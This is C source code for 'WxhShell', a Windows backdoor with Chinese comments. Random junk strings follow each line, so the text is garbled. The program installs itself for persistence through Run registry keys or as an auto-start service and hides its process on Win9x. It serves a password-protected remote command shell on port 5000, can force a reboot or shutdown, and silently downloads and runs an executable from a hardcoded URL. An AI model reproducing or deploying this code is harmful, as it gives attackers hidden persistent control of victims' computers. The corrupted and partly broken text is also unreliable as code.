  case 'd': { .}a@OLJd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I 9tdr<  
    if(Boot(SHUTDOWN)) qYbod+UX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^#g GA_H  
    else { \n+`~< i  
    closesocket(wsh); uQpV1o5iA  
    ExitThread(0); _Se>X=  
    } &/a/V  
    break; V&\ZqgDF  
    } :/ "q NPJ  
  // 获取shell c3K(mM:  
  case 's': { l^"gpO${K  
    CmdShell(wsh); Kd^ ._  
    closesocket(wsh); 9J l9\y9  
    ExitThread(0); G0a UZCw  
    break; @bD,^3U  
  } ^ "*r'  
  // 退出 sQTW?KA-Te  
  case 'x': { ~EX/IIa{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B4U+q|OD#  
    CloseIt(wsh); !aIIjWz]  
    break; 2BRY2EF  
    } V{c n1Af  
  // 离开 Udd|.JRd  
  case 'q': { X*d,z~k%*d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @0Tm>s  
    closesocket(wsh); [&)9|EV  
    WSACleanup(); bYow EzieF  
    exit(1); .5_w^4`b  
    break; 7\5 [lM  
        } Pu}r` E_  
  } #!Kg?BR2  
  } ,X9Y/S l  
CX\# |Q8q  
  // 提示信息 LTFA2X&E=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y{"8VT)  
} L88oh&M  
  } 8G(wYlxi  
;~xkT'  
  return; /XnI>  
} S@T> u,t'  
+gK7`:v4O*  
// shell模块句柄 dHd{9ftyF  
int CmdShell(SOCKET sock) B#sc!eLmU&  
{ <fN?=u+  
STARTUPINFO si; u3"F7 lJ  
ZeroMemory(&si,sizeof(si)); X8?|5$Ey  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4sROMk=l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [+ 1([#  
PROCESS_INFORMATION ProcessInfo; )mp0k%  
char cmdline[]="cmd"; VYlg+MlT0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =C5 [75z#+  
  return 0; h:j-Xd$H+  
} nD E5A  
T>W(Caelq  
// 自身启动模式 tAYu|\]  
int StartFromService(void) ^VoQGP/cl  
{ Ml0d^l}'  
typedef struct BKVvu}V(o  
{ wk)gxn1A,  
  DWORD ExitStatus; @Q TG  
  DWORD PebBaseAddress; Z#^2F8,]  
  DWORD AffinityMask; &W|'rA'r  
  DWORD BasePriority; S@Jl_`<  
  ULONG UniqueProcessId; I"Y?vj9]  
  ULONG InheritedFromUniqueProcessId; A}[Lk#|n  
}   PROCESS_BASIC_INFORMATION; /T*{Mo{B  
vC+mC4~/(  
PROCNTQSIP NtQueryInformationProcess; Q7`zrCh  
.8fOc.h8h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W 6~<7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ou96 P<B  
Gz ^g!N[  
  HANDLE             hProcess; 24|:VxO  
  PROCESS_BASIC_INFORMATION pbi; ib uA~\5  
:i?Z1x1`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U3A>#EV  
  if(NULL == hInst ) return 0; +.[#C5  
gy~M]u{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :n>:*e@w%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r\_aux^z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'VR5>r  
l.b  
  if (!NtQueryInformationProcess) return 0; .r]n<  
.hZ =8y9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e#&[4tQF  
  if(!hProcess) return 0; :=*>:*.Kb  
o3}12i S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `| R8WM  
*1%=?:$(r6  
  CloseHandle(hProcess); P),%S9jP;  
vJXd{iQE@C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H+_oK ]/  
if(hProcess==NULL) return 0; x"U/M ?l  
213D{#2  
HMODULE hMod; s9O] tk  
char procName[255]; >-+MWu=  
unsigned long cbNeeded; vad" N  
KasOh"W.P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +Y 3_)  
0-FwHDxw  
  CloseHandle(hProcess); xAz gQ  
^W#[6]S  
if(strstr(procName,"services")) return 1; // 以服务启动 @yobT,DXi  
XTHrf'BU  
  return 0; // 注册表启动 :GGsQ n  
} K\n %&w  
$m{\<A  
// 主模块 Wpj.G  
int StartWxhshell(LPSTR lpCmdLine) nc@ul')  
{ x-Xb4?{  
  SOCKET wsl; 2Uu,Vv  
BOOL val=TRUE; "B)DX*-\?  
  int port=0; C|z`hNp  
  struct sockaddr_in door; ~oSLWA9  
cDE?Xo'!  
  if(wscfg.ws_autoins) Install(); '!IX;OSjH  
T /[)U  
port=atoi(lpCmdLine); B(b[Dbb  
F KL}6W:  
if(port<=0) port=wscfg.ws_port; "D@m/l  
>o'D/'>ku  
  WSADATA data; 5Ko "-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9DPf2`*$  
~V5k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ho^1T3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .%~ L  
  door.sin_family = AF_INET; dbnH#0i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <8-I:o]mF  
  door.sin_port = htons(port); 9x{T"'  
15nc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Gsh<.w!7  
closesocket(wsl); t*Lo;]P  
return 1; \gIdg:"02  
} US> m1KsX  
I0)iC[s8;  
  if(listen(wsl,2) == INVALID_SOCKET) { L~vNW6#W  
closesocket(wsl); z[OW%(vrm  
return 1; H]@Zp"7  
} ^{Syg;F=  
  Wxhshell(wsl); XXe7w3x{  
  WSACleanup(); ,0#OA* 0B  
$OjsaE %  
return 0; i.K}(bo;b  
]T zN*6o  
} a$9UUH-|  
h3O5DP6~  
// 以NT服务方式启动 i_gS!1Z2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f_;3|i  
{ Eb{TKz?  
DWORD   status = 0; SOP= X-6f  
  DWORD   specificError = 0xfffffff; j7"E0Wc^o_  
:5@7z9 >  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qJISB7F[%O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :i:Zc~%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :4)mv4Q  
  serviceStatus.dwWin32ExitCode     = 0; w8{deSdfP  
  serviceStatus.dwServiceSpecificExitCode = 0; :q6hT<f;  
  serviceStatus.dwCheckPoint       = 0; &TC  
  serviceStatus.dwWaitHint       = 0; r Ld,Izi  
U76:F?MH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2hU4g e?6  
  if (hServiceStatusHandle==0) return; zxwpS  
A3 j>R477A  
status = GetLastError(); 5{cAawU.  
  if (status!=NO_ERROR) i<=@ 7W  
{ X Phw0aV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _$Z46wHmB  
    serviceStatus.dwCheckPoint       = 0; Do2y7,jv  
    serviceStatus.dwWaitHint       = 0; S"N@.n[  
    serviceStatus.dwWin32ExitCode     = status; ncS^NH(&  
    serviceStatus.dwServiceSpecificExitCode = specificError; D:.^]o[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -AcQ_dS  
    return; U*1~Zf  
  } QuF%m^aE  
Of:e6N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #2u-L~n  
  serviceStatus.dwCheckPoint       = 0; Zvr(c|Q  
  serviceStatus.dwWaitHint       = 0; tx5@r;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gs0,-)  
} :%!SzI?  
Txp~&a03  
// 处理NT服务事件,比如:启动、停止 _VY]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 45ct*w  
{ ^Jc~G~x4*  
switch(fdwControl) XtQ3$0{*%  
{ 6EPC$*Xp!  
case SERVICE_CONTROL_STOP: drb_GT  
  serviceStatus.dwWin32ExitCode = 0; #uey1I@"9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &,KxtlR![  
  serviceStatus.dwCheckPoint   = 0; ;39{iU. m  
  serviceStatus.dwWaitHint     = 0; CWC*bkd5a  
  { UbMcXH8=F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xFyMg&  
  } !q7M+j4  
  return; #2cH.`ty  
case SERVICE_CONTROL_PAUSE: )Hev -C"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IXz ad  
  break; ,QKG$F  
case SERVICE_CONTROL_CONTINUE: [3/P EDkw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QP\vN|r  
  break; X)nOY*  
case SERVICE_CONTROL_INTERROGATE: nq6]?ZJ  
  break; %t<Y6*g  
}; <v5toyA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EH,uX{`e  
} /~AwX8X  
(& ~`!]  
// 标准应用程序主函数 <GoE2a4Va  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n.7 $*9)#  
{ `5q`ibyPI  
{]Lc]4J  
// 获取操作系统版本 &4{%3w_/  
OsIsNt=GetOsVer(); d(]LRIn~1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T-<^mX[}  
;$|+H"g|  
  // 从命令行安装 -u8@ .  
  if(strpbrk(lpCmdLine,"iI")) Install(); yM#W,@  
 ym${4  
  // 下载执行文件 qqkZbsN  
if(wscfg.ws_downexe) { lgnF\)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -lAA,}&+!  
  WinExec(wscfg.ws_filenam,SW_HIDE); rylllJz|L:  
} Gg-<3z  
,t)mCgbcO  
if(!OsIsNt) { Z?v9ub~%  
// 如果时win9x,隐藏进程并且设置为注册表启动 ? 4.W _  
HideProc(); m{V @Om  
StartWxhshell(lpCmdLine); .Hgiru&  
} A:p0p^*  
else VQ}=7oe%q  
  if(StartFromService()) Z2 t0l%  
  // 以服务方式启动 F92n)*[  
  StartServiceCtrlDispatcher(DispatchTable); q<;9!2py  
else ly^F?.e-  
  // 普通方式启动 yGN<.IP75  
  StartWxhshell(lpCmdLine); "CZ`hx1|^  
`qfVgT=2  
return 0; *$hO C%(  
} >,~JQ%1  
xJO[pT v  
G`)I _uO  
[&Qrk8EN  
=========================================== (Ojg~P4;&  
}4bwLO  
Qs,LK(1  
XPY66VC&_  
g5Hs=c5=\  
k@wT,?kD  
" 9Y/c<gbY  
HVk3F| ]V  
#include <stdio.h> I/Vlw-  
#include <string.h> xE0+3@_>>  
#include <windows.h> _$, .NK,6  
#include <winsock2.h> G=b`w;oL:  
#include <winsvc.h> AE<AEq  
#include <urlmon.h> hl# 9a?  
 nbOMtK  
#pragma comment (lib, "Ws2_32.lib") &Nec(q<  
#pragma comment (lib, "urlmon.lib") QDgOprha  
_`;6'}]s  
#define MAX_USER   100 // 最大客户端连接数 QY{f=  
#define BUF_SOCK   200 // sock buffer b[u_r,b  
#define KEY_BUFF   255 // 输入 buffer ,:,c kul  
9OTw6  
#define REBOOT     0   // 重启  0J_Np  
#define SHUTDOWN   1   // 关机 40:YJ_n  
Q)Ppx7)  
#define DEF_PORT   5000 // 监听端口 NIYAcLa@n8  
^K;,,s;0  
#define REG_LEN     16   // 注册表键长度 9MGA#a  
#define SVC_LEN     80   // NT服务名长度 73]%^kx=  
F oEZ1O<  
// 从dll定义API [F6=JZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0TVO'$Gvi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H9 't;Do  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l+T\DZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %GHHnf%2Z  
&[kwM3 95  
// wxhshell配置信息 LoTq2/  
struct WSCFG { +\}]`uS:  
  int ws_port;         // 监听端口 fEgZ/p!g  
  char ws_passstr[REG_LEN]; // 口令 .j;My%)?p  
  int ws_autoins;       // 安装标记, 1=yes 0=no us5`?XeX]  
  char ws_regname[REG_LEN]; // 注册表键名 O'!k$iJNb  
  char ws_svcname[REG_LEN]; // 服务名 CBO8^M<K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #" f:m`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fmsg*s7w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a_pkUOu6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s+ 0$_&xR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :v&GA s6H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _ b#9^2o  
FiIN \  
}; !H.&"~w@  
IOfo]p-  
// default Wxhshell configuration ~v<r\8`OI2  
struct WSCFG wscfg={DEF_PORT, r_R|.fl<[  
    "xuhuanlingzhe", rT"8e*LT  
    1, BD9` +9  
    "Wxhshell", H:0-.a^ZS  
    "Wxhshell", 8LiRZ"  
            "WxhShell Service", 43 |zjE  
    "Wrsky Windows CmdShell Service", Oj<2_u  
    "Please Input Your Password: ", Ujw ^j  
  1, \DfvNeF  
  "http://www.wrsky.com/wxhshell.exe", VJ1si0vWtq  
  "Wxhshell.exe" o 'yR^`  
    }; X1A;MA@0Ro  
4;j #7  
// 消息定义模块 yqB{QFXO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; op}x}Ioz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }F@`A?k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <H#D/?n5  
char *msg_ws_ext="\n\rExit."; eo,m ^&  
char *msg_ws_end="\n\rQuit."; JfC.U,7Nc  
char *msg_ws_boot="\n\rReboot..."; ,ZH)[P)5P  
char *msg_ws_poff="\n\rShutdown..."; ]YwIuz6]  
char *msg_ws_down="\n\rSave to "; Y`c\{&M6  
=0m[  
char *msg_ws_err="\n\rErr!"; o_={xrmIA  
char *msg_ws_ok="\n\rOK!"; qWr`cO~hc  
dqG+hh^  
char ExeFile[MAX_PATH]; gS"@P:wYzs  
int nUser = 0; {;z3$/JB  
HANDLE handles[MAX_USER]; )V9$ P)  
int OsIsNt; 5*4P_q(AxD  
TmO\!`  
SERVICE_STATUS       serviceStatus; T0aK1Lh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'kYV}rq;l  
Wp >W?'`  
// 函数声明 @^`f~0#:  
int Install(void); J7mT&U&Ru  
int Uninstall(void); 2t[inzn=E  
int DownloadFile(char *sURL, SOCKET wsh); WL$WWA08_  
int Boot(int flag); 6 rmK_Y  
void HideProc(void); d eTUfbd'  
int GetOsVer(void); qjTz]'^BpM  
int Wxhshell(SOCKET wsl); s$`evX7D  
void TalkWithClient(void *cs); 5#:tL&q  
int CmdShell(SOCKET sock); ( 6r9y3'  
int StartFromService(void); ^=W%G^jJy  
int StartWxhshell(LPSTR lpCmdLine); SD TX0v  
$\0j:<o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :X@;XEol~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "I_3!Yu  
E{lq@it32p  
// 数据结构和表定义 n>!E ]  
SERVICE_TABLE_ENTRY DispatchTable[] = EStHl(DUPq  
{ f~"3#MaV  
{wscfg.ws_svcname, NTServiceMain}, ZXr]V'Q?  
{NULL, NULL} +5^*c^C  
}; o#w6]Fmc  
Ry/NfF=  
// 自我安装 ^S, "i V  
int Install(void) #<se0CJB  
{ \'1%"JWK   
  char svExeFile[MAX_PATH]; pz-`Tp w  
  HKEY key; V ;>{-p  
  strcpy(svExeFile,ExeFile); LscAsq<H<  
f'r/Q2{n  
// 如果是win9x系统,修改注册表设为自启动 {feS-.Khv  
if(!OsIsNt) { - FE)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2X6y^f';\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); orTTjV]_m  
  RegCloseKey(key); -6)ywq^{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YM#XV*P0 q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xcoYo  
  RegCloseKey(key); y )/d-  
  return 0; u4Vc:n  
    } 0aGfz=V&  
  } vy-{BH  
} d8Upr1_  
else { hRA.u'M  
.,EZ-&6{  
// 如果是NT以上系统,安装为系统服务 &I d ^n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S%Ja:0=}?  
if (schSCManager!=0) ^hbh|Du  
{  )?4m}  
  SC_HANDLE schService = CreateService V <k_Q@K  
  ( u1nv'\*  
  schSCManager, c~c3;  
  wscfg.ws_svcname, <5L!.Ci  
  wscfg.ws_svcdisp, $ar:5kif  
  SERVICE_ALL_ACCESS, 8t6h^uQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6"%[s@C  
  SERVICE_AUTO_START, e {c.4'q  
  SERVICE_ERROR_NORMAL, #|$7. e  
  svExeFile, oNiS"\t  
  NULL, !3T x\a`?/  
  NULL, E$Ge# M@dM  
  NULL, Y*"%;e$tg  
  NULL, xD_jfAH'  
  NULL 2RM1-j ($  
  ); ` 6"\.@4  
  if (schService!=0) Jl5<9x  
  { uj8]\MY  
  CloseServiceHandle(schService); ~2"|4  
  CloseServiceHandle(schSCManager); vtvr{Uqo@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l~f +h?cF  
  strcat(svExeFile,wscfg.ws_svcname); ~\i uV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5B98}N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ha 3XH_  
  RegCloseKey(key); e348^S&rG  
  return 0; )8iDjNM<  
    } iJsw:Nc  
  } R>Zn$%j\  
  CloseServiceHandle(schSCManager); 4.VEE~sH$  
} 2TAy'BB;)  
} _q8s 7H  
FtF!Dtv  
return 1; kfmIhHlYQ  
} ^5GS !u"  
t_j.@|/FZ  
// 自我卸载 ;$0za]x  
int Uninstall(void) Sb{S^w\m0  
{ 89 SsSb  
  HKEY key; r Ssv^W+  
k $+&  
if(!OsIsNt) { G\P*zz Sq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S>H W`   
  RegDeleteValue(key,wscfg.ws_regname); {= z%( '^  
  RegCloseKey(key); s )To#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1pz6e8p:m  
  RegDeleteValue(key,wscfg.ws_regname); otPEJ^W&  
  RegCloseKey(key); `|PxEif+J  
  return 0; FyY;F;4P  
  } |d:URuG~:I  
} eueXklpg+  
} mCq*@1Lp9  
else { bH,Jddc  
-'8|D!>v2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uAJ_`o[  
if (schSCManager!=0) C-2n2OM.  
{ ~" $9auQtC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .b]oB_  
  if (schService!=0) bz>#}P=58G  
  { 4/d#)6  
  if(DeleteService(schService)!=0) { 7l:H~"9r  
  CloseServiceHandle(schService); W C`1;(#G  
  CloseServiceHandle(schSCManager); 4Uwt--KtFh  
  return 0; (+Uo;)~!YC  
  } C8n1j2G\  
  CloseServiceHandle(schService); 50'6l X(v,  
  } x3WY26e  
  CloseServiceHandle(schSCManager); huR<+ =!  
} B 1p9pr  
} tL IE^  
' u0{h  
return 1; HX <;=m  
} +SP5+"y@  
mybDK'EW  
// 从指定url下载文件 9ge$)q@3  
int DownloadFile(char *sURL, SOCKET wsh) &7<~Q\XZbI  
{ 7tr.&A^c  
  HRESULT hr; >|rL0  
char seps[]= "/"; ^Cak/5^K  
char *token; A"P1 B]  
char *file; q?t>!1c  
char myURL[MAX_PATH]; 5aWKyXBIx  
char myFILE[MAX_PATH]; z&- `<uV~  
h?CNChRJs  
strcpy(myURL,sURL); NuXU2w~  
  token=strtok(myURL,seps); F,EHZ,<V  
  while(token!=NULL) 1-JWqV(#?  
  { }Rf } iG  
    file=token; [S9nF  
  token=strtok(NULL,seps); $23R%8j   
  } Y< M}'t  
}M9'N%PU  
GetCurrentDirectory(MAX_PATH,myFILE); =+"XV8Fi,  
strcat(myFILE, "\\"); ](0A/,#q6  
strcat(myFILE, file); "/\:Fdc^  
  send(wsh,myFILE,strlen(myFILE),0); g6*}& .&  
send(wsh,"...",3,0); hpw;w}m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gge"`AT  
  if(hr==S_OK) E]7G4  
return 0; /_56H?w\  
else +nqOP3  
return 1; 2 na8G  
o= 8yp2vG  
} ',CcLN  
AM}OL Hj  
// 系统电源模块 %_3{Db`R>  
int Boot(int flag) Lh. L~M1X  
{ h7Ma`w\-  
  HANDLE hToken; 3 +#bkG  
  TOKEN_PRIVILEGES tkp; m.4y=69 &  
Q.8Jgel1  
  if(OsIsNt) { &MKv _  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Vj:PNt[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oF3#]6`;/  
    tkp.PrivilegeCount = 1; 4frZ .r;V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >&$ V"*]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lca.(3u   
if(flag==REBOOT) { {uhw ^)v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "w7:{E5e  
  return 0; &0o&!P8CB  
} -BjB>Vt  
else { "o TwMU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0Ifd!  
  return 0; lOE bh  
} *vj5J"Y(;t  
  } (d~'H{q  
  else { ; aMMI p  
if(flag==REBOOT) { 9w AP%xh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) */ qv}  
  return 0; +6TKk~0e^  
} 5\a5^FK~  
else { %b_zUFHPp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z24-h C  
  return 0; LAvAjvRc  
} _x>u "w  
} ciXAyT cG  
HAU8H'h  
return 1; 3*'!,gK~[  
} HWHGxg['r  
.jRXHrK;  
// win9x进程隐藏模块 k r/[|.bq  
void HideProc(void) )qxL@w.  
{ c8u&ev.U  
jy1*E3vQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DLz~$TF^  
  if ( hKernel != NULL ) w.V8-9{  
  { 8 {QvB"w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =6%0pu]0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Eu0 _/{:  
    FreeLibrary(hKernel); 8d>OtDLa  
  } 3|~(9b{+  
<ZnAPh  
return; t<`BaU  
} ?HBc7$nW  
?Jx8z`(  
// 获取操作系统版本 GCIm_ n  
int GetOsVer(void) fa6L+wt4O  
{ _H;ObTiB  
  OSVERSIONINFO winfo; &K\di*kN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k!! o!rBS  
  GetVersionEx(&winfo); 3_D$6/i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0/*z]2  
  return 1; y6Rg@L&U  
  else b0 5h,  
  return 0; uL1-@D,  
} D!y Cnq=8  
]~|zY5i!  
// 客户端句柄模块 `zTVup&  
int Wxhshell(SOCKET wsl) [g%oo3`A  
{ w1.KRe{M  
  SOCKET wsh; Q#vur o  
  struct sockaddr_in client; oinF<-(  
  DWORD myID; 6T)D6;@L  
KBOxr5w  
  while(nUser<MAX_USER) 2'/ ip@  
{ L >xN7N3&m  
  int nSize=sizeof(client); T}g;kppC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _jr%s  
  if(wsh==INVALID_SOCKET) return 1; BG=h1ybz  
;[*7UE+#7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F02NnF  
if(handles[nUser]==0) sbG3,'i)  
  closesocket(wsh); ~s !+9\Fi  
else \=nY&Ml  
  nUser++; ]xFd_OHdb  
  } ./[t'dgC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4|*_mC  
A}W&=m8!  
  return 0; xKIm2% U9  
} F*(<`V  
m'a3}vRV(  
// 关闭 socket TMq\}k-I5  
void CloseIt(SOCKET wsh) \N!k)6\  
{ *P9)M%  
closesocket(wsh); F9Mv$ g79  
nUser--; &%FpNU9  
ExitThread(0); E5Z,4B  
} IV!&jL  
Vw+U?  
// 客户端请求句柄 r`mfLA]d  
void TalkWithClient(void *cs) x! Z|^q  
{ 6o {41@v(  
_,~/KJp  
  SOCKET wsh=(SOCKET)cs; z}kD:A)a  
  char pwd[SVC_LEN]; cnQ( G$kh  
  char cmd[KEY_BUFF]; gzi~ BJ  
char chr[1]; \-c70v63X  
int i,j; Azu$F5G!n  
^e)KEkh  
  while (nUser < MAX_USER) { R ]HHbD&;  
& [4Gv61  
if(wscfg.ws_passstr) { _g 3hXsA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Un7jzAvQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MdCEp1Z  
  //ZeroMemory(pwd,KEY_BUFF); 1?Wk qQ  
      i=0; ~%>ke  
  while(i<SVC_LEN) { Q]66v$  
;CFI*Wfp  
  // 设置超时 >P/.X^G0  
  fd_set FdRead; IhY[c/ |i  
  struct timeval TimeOut; IJ[#$I+Z%  
  FD_ZERO(&FdRead); DzH1q r  
  FD_SET(wsh,&FdRead); 1dHN<xy  
  TimeOut.tv_sec=8; "Q-TLN5(  
  TimeOut.tv_usec=0; c]#F^(-A`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ub7|'+5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T =_Hd  
yB,$4:C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4E<iIA\x  
  pwd=chr[0]; 6 [w_ /X"  
  if(chr[0]==0xd || chr[0]==0xa) { D O#4E<]5  
  pwd=0; I6X_DPY  
  break; %^kBcId  
  } |3QKxS0  
  i++; A^*0{F?,)  
    } &Z#g/Hc  
4f'1g1@$  
  // 如果是非法用户,关闭 socket 'z>|N{-xG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FK{Vnj0  
} ]u G9WT6l  
L;wzvz\+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hZ[,.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M9M~[[   
o@XhL9  
while(1) { hCuUX)>Bt  
j/ow8Jmc*  
  ZeroMemory(cmd,KEY_BUFF); ,_F@9Up  
^FIpkhw  
      // 自动支持客户端 telnet标准   #2^eGhwnI  
  j=0; ko2?q  
  while(j<KEY_BUFF) { :bNqK0[rS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $!H;,Jxv  
  cmd[j]=chr[0]; V*Ta[)E  
  if(chr[0]==0xa || chr[0]==0xd) { U\s.fIr  
  cmd[j]=0; F^fL  
  break; 6Q"fRXM   
  } Gx,<|v  
  j++; 4l_!OUvt  
    } )7f;FWI  
(_Ph{IN  
  // 下载文件 !?#B*JGFS  
  if(strstr(cmd,"http://")) { CD]"Q1 t}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U9[QdC  
  if(DownloadFile(cmd,wsh)) Na=.LW-ma=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%Hw,h   
  else @Fvp~]jCb  
